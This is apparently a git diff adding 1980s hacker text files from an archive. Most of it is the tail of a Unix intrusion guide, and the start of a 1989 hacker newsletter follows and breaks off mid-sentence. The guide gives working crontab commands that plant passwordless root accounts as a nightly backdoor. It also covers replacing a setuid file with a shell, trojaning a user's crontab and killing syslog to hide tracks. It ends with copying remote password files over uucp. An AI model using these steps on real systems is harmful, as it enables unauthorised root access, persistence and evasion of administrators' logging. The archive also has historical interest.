Just +specify * * * * * as the times, and wait about 1-2 minutes. In 1 minute, the +cron utility will execute the commands in the user's crontab file. Then you can +delete the entry. Again, if the user doesn't have a file in +/usr/spool/cron/crontabs, you can create one. + One last note- be sure you give the trojan horse execute permissionsm, +otherwise the victim will receive the message "[filename]- cannot execute"... +Kind of a dead giveaway. +CHANGING UID PROGRAMS +--------------------- + If you have write access to a uid file, you can easily modify it to +become a shell. First, copy the file. Then type: + +cat /bin/sh > [uid file] + +This will replace the file's contents with a shell program, but the uid bit +will remain set. Then execute the file and create a well-hidden uid shell, and +replace the subverted uid file with the copy. + +ADDING AN ACCOUNT TO A UNIX SYSTEM +---------------------------------- + To add an account to a Unix system, you must have write access to the +password file, or access to the root account so that you can change the +password file's protections. To add an account, simply edit the file with the +text file editor, edit (or any of the other Unix editors, if you wish). Add an +entry like this: + +[username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell] + +Notice that the password field is left blank. To set the password, type: + +passwd [username] + +You will then be prompted to enter and verify a password for the account. +If you wish the account to have superuser privileges, it must have a user +number of zero. +UNIX BACKDOOR +------------- + A backdoor is a means of by-passing a system's normal security for +keeping unauthorized users out. For all the talk about back doors, they are +rarely accomplished. But creating a backdoor in Unix System V is really quite +easy. It simply requires adding a few entries to the file +/usr/lib/crontab or /usr/spool/cron/crontabs/root. (Again, if the file doesn't +exist, you can create it.) Add these lines, which will create 2 accounts on the +system, one a user account ("prop") and one a superuser account ("prop2"), at +1 am system time every night, and delete them at 2 am every night. + +0 1 * * * chmod +w /etc/passwd +1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd +2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd +20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p +0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd +10 2 * * * chmod -w /etc/passwd +15 2 * * * rm /usr/spool/uucppublic/.p + +COVERING YOUR TRACKS +-------------------- + Naturally, you want to keep your cover, and not leave any trace that +there is a hacker on the system. This section will give you some tips on how to +do just that. First of all, the Unix system keeps track of when a file was last +modified (see the information on the command ls -l in the section on file and +directory protections). You don't want anyone noticing that a file has been +tampered with recently, so after screwing around with a file, if at all +possible, you should return its last modified date to its previous value using +the touch command. The syntax for the touch command is: + +touch hhmmMMdd [file] + +Where hh is the hour, mm is the minute, MM is the month, and dd is the day. +[file] is the name of the file you wish to change the date on. + What usually gives hackers away are files they create on a system. If +you must create files and directories, make use of the hidden files feature. +Also, try to hide them in directories that are rarely "ls"'d, such as +/usr/spool/lp, /usr/lib/uucp, etc (in other words, directories whose contents +are rarely tampered with). + Avoid use of the mail facilities, as anyone with the proper access can +read the /usr/mail files. If you must send mail to another hacker on the +system, write the message into a text file first, and encrypt it. Then mail it +to the recipient, who can save the message without the mail header using the w +option, and decrypt it. + Rather than adding additional superuser accounts to a system, I've +found it better to add simple user accounts (which don't stand out quite as +much) and use a root uid shell (judiciously hidden in a rarely used directory) +whenever I need superuser privileges. It's best to use a user account as much +as possible, and only go to the superuser account whenever you absolutely need +superuser priv's. This may prevent damaging accidents. And be careful when +creating a home directory for any accounts you add. I've always found it better +to use existing directories, or to add a hidden subdirectory to a little- +tampered with directory. + + Many systems have "watchdog" programs which log off inactive accounts +after a certain period of time. These programs usually keep logs of this kind +of activityl. Avoid sitting on the sitting doing nothing for long periods of +time. + While using some of the methods described in this file, you may replace +a user's file with a modified copy. This copy will be owned by your account and +group instead of the account which owned the original. You can change the group +back to the original owner's group with the chgrp command, the format of which +is: + +chgrp [groupname] [file] + +And change the owner back to the original with the chown command: + +chown [user] [file] + + When you change ownership or group ownership of a file, the uid and gid +bits respectively are reset, so you can't copy the shell, set its uid bit, and +change its owner to root to gain superuser capabilities. + Above all, just be careful and watch your step! Unix is a very flexible +operating system, and even though it comes equipped with very little in the way +of accounting, it is easy to add your own security features to it. If you do +something wrong, such as attempting to log in under a superuser account +remotely only to see "not on console-goodbye", assume that a note is made of +the incident somewhere on the system. Never assume that something [anything!] +won't be noticed. And leave the system and its files exactly as you found them. +In short, just use a little common sense. + If you're a real klutze, you can turn off the error logging (if you +have root capabilities). I will include information on System V error logging, +which most Unix clones will have error logging facilities similar to, and on +Berkely Standard Distribution (BSD) Unix error logging. + +BERKELY (BSD) UNIX ERROR LOGGING +-------------------------------- +Type "cat /etc/syslog.pid". This file contains the +process number of the syslog (error logging) program. Kill this process, and +you stop the error logging. Remember to start the logging process back up after +you're through stumbling around. + If you want to see where the error messages are sent, type: + +cat /etc/syslog.config + +Entries are in the form: + +#file + +Such as: + +5/etc/errlogfile + +The number is the priority of the error, and the file is the file that errors +of that priority or higher are logged to. If you see an entry with /dev/console +as its log file, watch out! Errors of that priority will result in an error +message being displayed on the system console. Sometimes, a list of usernames +will follow an entry for errorlogging. This means that these users will be +notified of any priorities of that level or higher. +There are 9 levels of priority to errors, and an estimation of their +importance: + +9 -Lowly errors. This information is just unimportant junk used to debug + small errors in the system operation that usually won't affect its + performance. Usually discarded without a glance. + +8 -Usually just thrown away. These messages provide information on the + system's operation, but nothing particularly useful. + +7 -Not greatly important, but stored for informational purposes. + +6 -System errors which can be recovered from. + +5 -This is the priority generally given to errors caused by hackers- + not errors, but important information, such as security violatins: + bad login and su attempts, attempts to access files without proper + permissions, etc. + +4 -Errors of higher priority than 6. + +3 -Major hardware and software errors. + +2 -An error that requires immediate attention...very serious. + +1 -***<<<(((CRAAASSSHHH!!!)))>>>***- + +SYSTEM V ERROR LOGGING +---------------------- + System V error logging is relatively simple compared to Berkely Unix +error logging. The System V error logging program is errdemon. To find the +process id of the error logging program, type "ps -uroot". This will give you a +list of all the processes run under the root id. You will find /etc/errdemon +somewhere in the list. Kill the process, and no more error logging. The +errdemon program is not as sophisticated as BSD Unix's syslog program: it only +logs all errors into a file (the default file is /usr/adm/errfile, but another +file can be specified as an argument to the program when it is started). +Errdemon does not analyze the errors as syslog does, it simply takes them from +a special device file called /dev/error and dumps them into the error logging +file. If you wish to examine the error report, use the errpt program, which +creates a report of the errors in the error logging file and prints it out on +the stanard output. The format is: errpt [option] [error logging file]. For a +complete report of all errors, use the -a option: + +errpt -a /usr/adm/errfile + +The output is very technical, however, and not of much use to the hacker. + +UUCP NETWORKING +--------------- + This section will cover the workings and use of the Unix uucp +facilities. UUCP stands for Unix to Unix Copy. The uucp utilities are for the +exchange of files between Unix systems. There also facilities for users to dial +out and interact with remote systems, and for executing limited commands on +remote systems without logging in. + +OUTWARD DIALING +--------------- + The command for outward dialing is cu. The format is: + +cu -n[phone number] + +Such as: + +cu -n13125285020 + +On earlier versions of Unix, the format was simply "cu [phone number]". + +Note, that the format of the phone number may be different from system to +system- for instance, a system that dials outward off of a pbx may need to have +the number prefixed by a 9, and one that uses an extender may not need to have +the number (if long distance) preceded by a 1. To dial out, however, the system +must have facilities for dialing out. The file /usr/lib/uucp/Devices (called +L-devices on earlier systems) will contain a list of the available dialout +devices. Entries in this file are in the format: + +[device type] [device name] [dial device] [linespeed] [protocol, optional] + +Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR +is a direct connection to a specific system. Device name is the name of the +base name of the dialout device's device file, which is located in the /dev +directory. Dial device is usually an unused field. It was used on older systems +where one device (device name in the above example) was used to exchange data, +and another device (dial device, above) did the telephone dialing. In the age +of the autodial modem, this is a rarely used feature. The next, linespeed, is +the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800 +or 9600 if the device is a direct connection. The protocol field is for +specifying the communications protocol. This field is optional and generally +not used. Here is an example entry for a dialout device and a direct +connection: + +ACU tty99 unused 1200 +DIR tty03 unused 9600 + +If a dialout device is capable of more than one baud rate, it must have 2 +entries in the Devices (L-devices) file, one for each baud rate. Note, that the +device in the above example is a tty- usually, dialout device names will be in +the form tty##, as they can be used both for dialing out, and receiving +incoming calls. The device can be named anything, however. + +There are several options worth mentioning to cu: +-s Allows you to specify the baud rate. There must be a device in the + Devices file with this speed. +-l Allows you to specify which device you wish to use. + +If you wish to connect to a system that there is a direct connection with, +simply type "cu -l[device]". This will connect you to it. You can also do that +do directly connect to a dialout device, from which point, if you know what +commands it accepts, you can give it the dial commands directly. + +Using the cu command is basically the same as using a terminal program. When +you use it to connect to a system, you then interact with that system as if you +dialed it directly from a terminal. Like any good terminal program, the cu +"terminal program" provides facilities for file transfers, and other commands. +Here is a summary of the commands: + +~. -Disconnect from the remote system. + +~! -Temporarily execute a shell on the local system. When you + wish to return to the remote system, press control-D. + +~![cmd] -Execute a command on the local system. Example: ~!ls -a + +~$[cmd] -Execute a command on the local system and send the output to + the remote system. + +~%put f1 f2 -Sends a file to the remote system. F1 is the name of the + file on the local system, and f2 is the name to be given the + copy made on the remote system. + +~take f1 f2 -Copies a file from the remote to the local system. F1 is + the name of the remote file, and f2 is the name to be given + to the local copy. + +Note, that the commands for transferring output and files will only work if you +are communicating with another Unix system. + You may be wondering how you can find out the format for the phone +number, which is necessary to dial out. The format can be obtained from the +file /usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file +contains the uucp network names and phone numbers of other Unix systems, as +well as other information about them. This file contains the information needed +to carry out uucp file transfers with the systems listed within it. The entries +are in the format: + +[system name] [times] [devicename] [linespeed] [phone number] [login info] + +System name is the name of the system. +Times is a list of the times when the system can be contacted. This field will +usually just have the entry "Any", which means that the system can be contacted +at any time. Never means that the system can never be called. You can also +specify specific days and times when the system can be contacted. The days are +abbreviated like this: +Su Mo Tu We Th Fr Sa +Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than +one day of the week, you can string the days together like this:SuMoTu for +Sunday, Monday, and Tuesday. You can also specify a range of hours when the +system can be called, in the 24 hour format, like this: Su,0000-0100 means that +the system can be called Sunday from midnight to 1am. The week days (Monday +through Friday) can be abbreviated as Wk. +Device name is the name of the device to call the system with. If the system is +directly connected, this file will contain the base name of the device file of +the device which connects it to the local system. If the system has to be +dialed over the phone, this field will be "ACU". +Linespeed is the baud rate needed to connect to the system. There must be a +device available with the specified baud rate to contact the system. +Phone number is the phone number of the system. By looking at these entries, +you can obtain the format for the phone number. For instance, if this field +contained "913125285020" for an entry, you would know that the format would be +9+1+area code+prefix+suffix. +The login field contains information used for uucp transfers, and will be +discussed in detail later. + Sometimes you will see alphabetic or other strange characters in the +phone number field. Sometimes, these may be commands for the particular brand +of modem that the system is using to dialout, but other times, these may +actually be a part of the phone number. If so, the meaning of these characters +called tokens can be found in the file /usr/lib/uucp/Dialcodes (called +L-dialcodes on earlier systems). Entries in this file are in the form: + +token translation + +For example: + +chicago 312 + +Would mean that the token chicago means to dial 312. So, if the phone number +field of a Systems entry was: + +chicago5285020 + +It would mean to dial 3125285020. + +You can add an entry to the Systems file for systems that you wish to call +frequently. Simply edit the file using one of the Unix system's editors, and +add an entry like this: + +ripco Any ACU 1200 13125285020 unused + +And then any time you wished to call the BBS Ripco, you would type: + +cu ripco + +And the system would do the dialing for you, drawing the phone number from the +entry for Ripco in the Systems file. + +HOW UUCP TRANSFERS WORK +----------------------- + This section will detail how a uucp file transfer works. When you issue +the command to transfer a file to/from a remote system, the local system dials +out to the remote system. Then, using the information contained in the login +field of the Systems file, it logs into an account on the remote system, in +exactly the same manner as you would log into a Unix system. Usually, however, +uucp accounts use a special shell, called uucico, which implements certain +security features which (are supposed to) keep the uucp account from being used +for any other purpose than file transfers with another Unix system. (Note: not +ALL uucp accounts will use this shell.) If you've ever logged into the uucp +account on the system and received the message, "Shere=[system name]", and the +system wouldn't respond to any of your input, that account was using the uucico +shell, which prevents the account from being used as a normal "user" account. +The local system then requests the transfer, and if security features of the +remote system which will be discussed later do not prevent the transfer, the +file will be copied to (or from if you requested to send a file) the local +system. The account is then logged off of the remote system, and the connection +is dropped. + +ADDING A LOGIN FIELD TO A SYSTEMS ENTRY +-------------------------------------- + Many superusers feel that if the uucp account uses the uucico shell, +that it is "secure". Because of this, they may ignore other uucp security +measures, and probably not give the account a password. If you find such a +system, you can add an entry for the system to the Systems (L.sys) file of +another Unix system and try to, say, transfer a copy of its password file. To +do so, simply follow the outline in the section on cu for how to add an entry +to the Systems file. That will cover everything but how to add the login field, +which is covered in this section. + The login section consists of expect/sendsubfields. For example, here +is an example login field: + +ogin: uucp assword: uucp + +The first subfield is what is expected from the remote system, in this case +"ogin:". This means to expect the login prompt, "Login:". Note, that you do not +have to enter the complete text that the remote system sends, the text sent +from the remote system is scanned left to right as it is sent until the +expected text is found. The second subfield contains the local system's +response, which is sent to the remote system. In this case, the local system +sends "uucp" when it receives the login prompt. Next, the local system scans +the output from the remote system until it receives "assword:" ("password:"), +then sends "uucp" (the password, in this example, for the uucp account). +Because of line noise or other interference, when the local system connects to +the remote, it may not receive the expected string. For this possibility, you +may specify the expected string several times, like this: + +ogin:-ogin: uucp assword:-assword: uucp + +The - separates that if the expected string is not received, to expect the +string specified after the hyphen. Sometimes, you may need to send a special +character, such as kill or newline, to the system if the expected string is not +received. You can do that like this: + +ogin:-BREAK-ogin: uucp assword: uucp + +The -BREAK- means that if ogin: isn't received the first time, to send a break +signal to the remote system, and then expect ogin: again. Other common entries +are: + +ogin:-@-ogin: Send a kill character if the expected string isn't + received the first time. +ogin:-EOT-ogin: Send a control-D if the expected string isn't received. +ogin:--ogin: Send a null character if the expected string isnt' + received. + +If the system you wish to transfer files with doesn't send anything when you +first connect to it, (say, you have to press return first), the first expect +entry should be "" (nothing), and the first send field should be \r (a return +character). There are certain characters, like return, which are represented by +certain symbols or combinations of characters. Here is a list of these: + +\r -Return. +@ -Kill. +- -Null/newline character. +"" -Nothing. + +UNUSUAL LOGIN ENTRIES +--------------------- + Sometimes, the login entry for a system might contain more than just +fields to expect the login prompt, send the username, expect the password +prompt, and send the password. For instance, if you have to go through a +multiplexer to get to the system, the login field would contain a subfield to +select the proper system from the multiplexer. + Sometimes, on systems, that use the Hayes smartmodem to dial out, the +phone number field may be left unused (will contain an arbitrary entry, such as +the word "UNUSED"), and the dialing command will be contained in the login +field. For example: + +ripco Any ACU 1200 UNUSED "" ATDT13125285020 CONNECT \r ernumber: new + +So, when you try to transfer a file with a Unix system called "ripco": +"UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes +command, so it is ignored by the modem. Next, the system moves the login field. +The first expect subfield is "", which means to expect nothing. It then sends +the string "ATDT13125285020", which is a Hayes dialing comand, which will make +the modem dial 13125285020. When the string "CONNECT" is received (which is +what the smartmodem will respond with when it connects), the system sends a +carriage return and waits for the "Usernumber:" prompt. When it receives that, +it sends "new". This completes the login. + +UUCP SYNTAX +----------- + Once you've completed an entry for the Unix system you wish to transfer +files with, you can issue the uucp command, and attempt the transfer. The +syntax to copy a file from the remote system is: + +uucp remote![file pathname] [local pathname] + +Where remote is the name of the system you wish to copy the file from, [file +pathname] is the pathname of the file you wish to copy, and [local pathname] is +the pathname of the file on the local system that you wish to name the copy +that is made on the local system. +To transfer a file from the local system to the remote system, the syntax is: + +uucp [local pathname] remote![file pathname] + +Where [local pathname] is the file on the local system that you wish to +transfer to the remote system, remote is the name of the remote system, and +[file pathname] is the pathname you wish to give to the copy to be made on the +remote system. + +So, to copy the ripco system's password file, type: + +uucp ripco!/etc/passwd /usr/spool/uucppublic/ripcofile + +Which will, hopefully, copy the password file from ripco into a file on the +local system called /usr/spool/uucppublic/ripcofile. The directory +/usr/spool/uucppublic is a directory set up especially for the reception of +uucp-transferred files, although you can have the file copied to any directory +(if the directory permissions don't prevent it). + +DEBUGGING UUCP PROCEDURES +------------------------- + So, what if your transfer did not go through? Well, this section will +detail how to find out what went wrong, and how to correct the situation. + +UULOG +----- + The uulog command is used to draw up a log of transactions with remote +systems. You can either draw up the entries by system name, or the name of the +user who initiated the transaction. +For our purposes, we only want to draw up the log by system name. The format +is: + +uulog -s[system name] + +Now, this will pull up the logs for ALL transactions with this particular +system. We only want the logs for the last attempted transaction with the +system. Unfortunately, this can't be done, you'll just have to sort through the +logs until you reach the sequence of the last transaction. If the logs extend +back a long time, say about a week, however, you can use the grep command to +call up the logs only for a certain date: + +uulog -s[system] | grep mm/dd- + +Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in +the same form). This takes the output of the uulog command, and searches +through it with the grep command and only prints out those entries which +contain the date the grep command is searching for. The log entries will be in +the form: + +[username] [system] (month/day-hour:minute-pid) DESCRIPTION + +Where: + +username -Is the userid of the account that initiated the transaction. +system -Is the name of the system that the transaction was attempted + with. +month/day -Date of transaction. +hour:minute -Time of transaction. +job number -The transfer's process id. +DESCRIPTION -The log message. + +An example of a typical log entry: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) + +In the above example, the root account initiated a transaction with the Ripco +system. The system was contacted on November 20, at 2:00. The job number of the +transaction is 1234. + +Here is an explanation of the various log messages you will encounter, and +their causes: + +1. SUCCEEDED (call to [system name]) + +The system was successfully contacted. + +2. DIAL FAILED (call to [system name]) + +Uucp failed to contact the system. The phone number entry for the system in the +Systems file may be wrong, or in the wrong format. + +3. OK (startup) + +Conversation with the remote system has been initiated. + +4. LOGIN FAILED + +Uucp was unable to log into the remote system. There may be an error in the +login field in the entry for the remote system in the Systems file, or line +noise may have caused the login to fail. + +5. WRONG SYSTEM NAME + +The system's entry in the Systems file has the wrong name for the system at the +phone number specified in the entry. + +6. REMOTE DOES NOT KNOW ME + +The remote system does not recognize the name of the local system, and will not +perform transactions with an unknown system (some will, some won't...see the +section on uucp security). + +7. REQUEST ([remote file] --> [local file] username) + +The file transfer has been requested. + +8. OK (conversation complete) + +The transfer has been completed. + +9. ACCESS DENIED + +Security measures prevented the file transfers. +If you get this error, you will receive mail on the local system informing you +that the transfer was denied by the remote. + +10. DEVICE LOCKED + +All the dialout devices were currently in use. + + + +A successful transaction log will usually look like this: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) +root ripco (11/20-2:01-1234) OK (startup) +root ripco (11/20-2:01-1234) REQUEST (ripco!/etc/passwd --> /ripcofile root) +root ripco (11/20-2:03 1234) OK (conversation complete) + + When an error occurs during a transfer with a system, a status file is +created for that system, and remains for a set period of time, usually about an +hour. During this time, that system cannot be contacted. These files, depending +on which version of Unix you are on, will either be in the directory +/usr/spool/uucp, and have the form: +STST..[system name] +or will be in the directory /usr/spool/uucp/.Status, and have the same name as +the system. These status files will contain the reason that the last transfer +attempt with the system failed. These files are periodically purged, and if you +wish to contact the system before its status file is purged, you must delete +its status file. +The files containing the failed transfer request will also remain. If you are +using the latest version of System V, these files will be in a subdirectory of +the directory /usr/spool/uucp. For instance, if the system is called ripco, +the files will be in the directory /usr/spool/uucp/ripco. On other systems, +these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp. +These files are in the form: + +C.[system name]AAAAAAA + +Where [system name] is the name of the system to be contacted, and AAAAAA is a +the transfer's uucp job number. (You can see the transfer request's job number +by specifying the j option when you initiate the transfer. For example, +"uucp -j ripco!/etc/passwd /usr/spool/uucppublic/ripcofile" would initiate the +transfer of the ripco system's password file, and display the job number on +your screen.) Type "cat C.system[jobnumber]", and you will see something like +this: + +R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest + +On earlier versions of Unix, these files will be in the directory +/usr/spool/uucp/C. To find the file containing your transfer, display the +contents of the files until you find the proper one. If your transfer fails, +delete the transfer request file and the status file, correct any errors in the +Systems file or whatever, and try again! + +UUCP SECURITY +------------- + Obviously, uucp access to files has to be restricted. Otherwise, +anyone, from any system, could copy any file from the remote system. This +section will cover the security features of the uucp facilities. + The file /usr/lib/uucp/USERFILE contains a list of the directories that +remote systems can copy from, and local users can send files from to remote +systems. The entries in this file are in the format: + +[local user],[system] [callback?] [directories] + +Where: + +local user -Is the username of a local account. This is for the purpose + of restricting which directories a local user can send files + from to a remote system. +system -Is the name of a remote system. This is for the purpose of + restricting which directories a specific remote system can + copy files from. +callback? -If there is a c in this field, then if a transfer request is + received from the system indicated in the system field, then + the local system (in this case, the local system is the system + which receives the transfer request, rather than the system + that initiated it) will hang up and call the remote back (at + the number indicated in the remote's entry in the local's + Systems file) before starting the transfer. +directories -Is a list of the pathnames of the directories that the remote + system indicated in the system field can copy files from, or + the local user indicated in the local user field can send files + from to a remote system. + +A typical entry might look like: + +local_dork,ripco - /usr/spool/uucppublic + +This means that the user local_dork can only send files to a remote system +which are in the directory /usr/spool/uucppublic, and the remote system ripco +can only copy files from the local system that are in the directory +/usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy +files in that directory, and if they wish to copy a file from another portion +of the system, they must notify a user on the system to move that file to the +uucppublic directory. When a transfer request is received from a remote system, +the local system scans through the userfile, ignoring the local user field (you +can't restrict transfers with a particular user from a remote system...the copy +access granted to a system in the USERFILE is granted to all users from that +system), until it finds the entry for that system, and if the system is allowed +to copy to or from that directory, the transfer is allowed, otherwise it is +refused. If an entry for that system is not found, the USERFILE is scanned +until an entry with a null system name (in other words, an entry with no system +name specified) is found, and the directory permissions for that entry are +used. If no entry is found with a null system name, the transfer is denied. +There are a few quirks about USERFILE entries. First, if you have copy access +to a directory, you also have copy access to any directories below it in the +system tree. Thus, lazy system operators, rather than carefully limiting a +system's access to only the directories it needs access to, often just give +them copy access to the root directory, thus giving them copy access to the +entire system tree. Yet another mistake made by careless superusers is leaving +the system name field empty in the entries for the local users. Thus, if a +system that doesn't have an entry in the USERFILE requests a transfer with the +local system, when the USERFILE is scanned for an entry with a null system +name, if the entries for the local users come first in the USERFILE, the system +will use the first entry for a local user it finds, since it has a null system +name in the system name field. Note, that none of these security features even +works if the uucp account on the system the transfer is requested with does not +use the uucico shell. In any case, whether the account uses the uucico shell or +not, even if you have copy access to a directory, individual file or directory +protections may prevent the copying. For information on uucp security in yet +another version of the uucp facilities, see the piece on the Permissions file +in the section on uux security. + +EXECUTING COMMANDS ON A REMOTE SYSTEM +------------------------------------- + There are 2 commands for executing commands on a remote system- uux and +rsh (remote shell- this has nothing to do with the rsh shell [restricted Bourne +shell]). This section will cover the uses of both. + +UUX +--- + The uux command is one of the uucp utilities. This is used, not for +file transfers, but for executing non-interactive commands on a remote system. +By non-interactive, I mean commands that don't request input from the user, but +are executed immediately when issued, such as rm and cp. The format is: + +uux remote!command line + +Where remote is the name of the remote system to perform the command on, and +the rest (command line) is the command to be performed, and any arguments to +the command. You will not receive any of the commnand's output, so this command +can't be used for, say, printing the contents of a text file to your screen. + +UUX SECURITY +------------ + If the uucp account on the remote system uses the uucico shell, then +these security features apply to it. + + The file /usr/lib/uucp/Commands file contains a list of the commands a +remote system can execute on the system. By remote system, in this case, I mean +the system that the user who initiates the uux command is on, and local system +will mean the system that receives the uux request. Entries in the file +/usr/lib/uucp/Commands are in the following format: + +PATH=[pathname] +command +command + " to infinity... +command,system + +The first line, PATH=[pathname], sets the searchpath for the remote system +requesting the uux execution of a command on the local system. This entry is +just the same as, say, a line in a login file that sets the searchpath for a +regular account, example: PATH=/bin:/usr/bin +Which sets the searchpath to search first the directory /bin, and the the +directory /usr/bin when a command is issued. The following entries are the base +names of the programs/commands that the remote can execute on the local system. +The last program/command in this list is followed by a comma and the name of +the remote site. For example: + +PATH=/bin +rmail +lp,ripco + +Means that the remote system Ripco can execute the rmail and lp commands on the +local system. Usually, only the lp and rmail commands will be allowed. + Again, we come to another, "different" version of the uucp facilities. +On some systems, the commands a remote system can execute on the local system +are contained in the file /usr/lib/uucp/Permissions. Entries in this file are +in the form: + +MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ= +[directories] WRITE=[directories] + +Where: + +Remote is the name of the remote system. Commands is a list of the commands +the remote may execute on the local system, in the form: +pathname:pathname + +For example: + +/bin/rmail:/usr/bin/netnews + +The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy +files from the local system. The yes/no after "SEND=" tells whether or not the +remote system can send files to the local system. The list of directories after +"READ=" tells which directories the remote can copy files from (provided that +it has REQUEST privileges), and is in the form: + +pathname:pathname...etc. + +For example: + +/usr/spool/uucppublic:/usr/lib/uucp + +Again, as before, the remote has copy access to any directories that are below +the directories in the list in the system tree. The list of directories after +"WRITE=" is in the same form as the list of directories after "READ=", and is a +list of the directories that the remote can copy files TO on the local system. + +RSH +--- + This is a new feature which I have seen on a few systems. This is not, +to the best of my knowledge, a System V feature, but a package available for +3rd party software vendors. If the rsh command is featured on a system, the +restricted (rsh) Bourne shell will be renamed rshell. Rsh stands for remote +shell, and is for the execution of any command, interactive or otherwise, on a +remote system. The command is executed realtime, and the output from the +command will be sent to your display. Any keys you press while this command is +being executed will be sent to the remote system, including breaks and +interrupts. The format is: + +rsh [system] command line + +For example: + +rsh ripco cat /etc/passwd + +Will print out the /etc/passwd file of the Ripco system on your screen. To the +best of my knowledge, the only security features of the rsh command are the +individual file and directory protections of the remote system. + +UUNAME AND UUSTAT +----------------- + These are 2 commands which are for use by users to show the state of +the local system's uucp facilities. Uuname gives a list of all the system names +in the Systems (L.sys) file, and uustat gives a list of all pending uucp/uux +jobs. + +NETWORK MAIL +------------ + There are several different ways of sending mail to users on other +systems. First of all, using the uucp and uux commands. Simply edit a text file +containing the message you wish to send, and uucp a copy of it to the remote +system. Then send it to the target user on that system using the uux command: + +uux system!rmail [username] < [pathname] + +Where system is the name of the system the target user is on, username is the +name of the user you wish to send the mail to, and pathname is the pathname of +the text file you sent to the remote system. This method works by executing the +rmail command (Receive Mail), the syntax of which is "rmail [user]", and +redirecting its input from the file you sent to the remote. This method will +only work if the remote allows users from your local system to execut the rmail +command. + The second method is for systems which feature the remote shell (rsh) +command. If the remote system can be contacted by your local system via rsh, +type: + +rsh system!mail [user] + +And once connected, enter your message as normal. + This last method is the method of sending mail over uucp networks. This +method is the one employed by USENET and other large uucp networks, as well as +many smaller and/or private networks. This method uses the simple mail command: + +mail system!system!system![and so on to infinity]!system@user + +Where: +The list of systems is the routing to the target system, and user is the mail +recipient on the target system. The routing takes a bit of explanation. Imagine +something a uucp network with connections like this: + + unix1 + | + ------------------- + | | + unix2 unix3 + | | + unix4-------------unix5 + +This network map shows what systems are on the network, and which systems have +entries for which other systems in its Systems (L.sys) file. In this example: + +Unix1 has entries for unix2 and unix3. +Unix2 has entries for unix1 and unix4. +Unix3 has entries for unix1 and unix5. +Unix4 has entries for unix2 and unix5. +Unix5 has entries for unix3 and unix4. + +Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so +directly, since it has no means of reaching it (no entry for it in its Systems +file). So, it would "forward" the mail through a series of other systems. For +example, to send mail to the user root on unix5, any of these routings could be +used: + +unix3!unix5@root +unix2!unix4!unix5@root + +Obviously, the first routing would be the shortest and quickest. So, to mail a +message from unix1 to the root user on unix5, you would type: + +mail unix3!unix5@root + +Then type in your message and press control-D when finished, and the uucp +facilities will deliver your mail. + +ACKNOWLEDGEMENTS +---------------- + Well, this is it- the end of the file. I hope you've found it +informative and helpful. Before I go on, I'd like to thank a few people whose +assistance made writing this file either A: possible or B: easier- + +Shadow Hawke I, for sharing many a Unix account with me. +The Warrior (of 312), for helping me get started in hacking. +Omega-- for helping me hack a large network of Unix systems. +Psychedelic Warlord, for helping me with a BSD Unix system. +Shooting Shark, for his C decoy, and more than a few good posts on Private +Sector. +Kid&Co, for providing me with some information on the Telnet program. +And lastly but not leastly, Bellcore, Southern Bell, and BOC's around the +country for the use of their systems. Thanks, all! + +------------- +Corrections: +I incorrectly listed in one section that chown was the command to change file protections. +The correct command is chmod. diff --git a/textfiles.com/hacking/UNIX/unix1.hac b/textfiles.com/hacking/UNIX/unix1.hac new file mode 100644 index 00000000..73366778 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix1.hac @@ -0,0 +1,199 @@ + + +=============================================================================== + rush2112 + pRESENTS + a hale pRODUCTION + h ACKERS a GAINST l AW e NFORCEMENT + cALL hale hQ. (619)660-67XX + aCTIVE hale MEMBERS ARE: rIPPER, tRASHMAN, rUSH2112. + tHE uNDERGROUND nEWSLETTER: vOL i. iSSUE i, pART i +=============================================================================== +nOTE: fEEL FREE TO DISTRIBUTE THE FILE PROVIDED NONE OF ITS CONTENTS OR + CREDITS ARE CHANGED. +tOPIC: a gUIDE TO uNIX sYSTEMS, pART i. +dATE: sEPTEMBER 1, 1989. +fOREWORD: tHIS FILE IS COMPILED FROM MY EXPERIENCES ON BOTH bsd AND sYS v + uNIX ON vax 750/780 MAINFRAMES, at&t 3b20 AND pYRAMID tECHNOLOGY'S + MAINFRAMES. + + iN TODAY'S WORLD, AS A HACKER, YOU ARE NOTHING UNLESS YOU LEARN SOME +OF THE MORE POPULAR OPERATING SYSTEMS AROUND USED ON MINIS, MAINFRAMES, SUPER- +COMPUTERS AND THE LIKE. iN THIS FILE i WILL ATTEMPT (TO THE BEST OF MY +ABILITY) TO INTRODUCE YOU TO ONE OF THOSE OPERATING SYSTEMS - NAMELY - THE +WORLD OF uNIX. iT IS HOPED THAT BY READING THIS FILE YOU CAN PICK UP PERHAPS +ENOUGH OF A WORKING KNOWLEDGE SO THAT IF BY CHANCE IN YOUR HACKING EXPLOITS YOU +COME ACROSS A uNIX SYSTEM (AND YOU WILL) YOU'LL KNOW WHAT TO DO. + tHERE IS no way TO COVER EVERYTHING ABOUT uNIX IN A FILE SO THIS WILL +BE THE FIRST OF MANY THAT i HOPE TO RELEASE IN THE FUTURE. iF i FIND THERE ARE +STUFF i HAVE NOT MENTIONED i WILL WRITE MORE FILES AS NEEDED. iN pART ii, i +PLAN TO GIVE YOU A TUTORIAL ON WHAT TO DO WHILE YOU'RE ON-LINE IN REGARDS TO +HACKING AND USING ESSENTIAL SYSTEM UTILITIES. hAVE FUN. + uSUALLY (UNLESS MODIFIFIED BY THE SYSTEM ADMINISTRATOR OR ONE WITH SUCH +PRIVILEGES), YOU CAN TELL IF YOU'VE CONNECTED TO A uNIX SYSTEM OF SOME TYPE BY +THE LOGIN 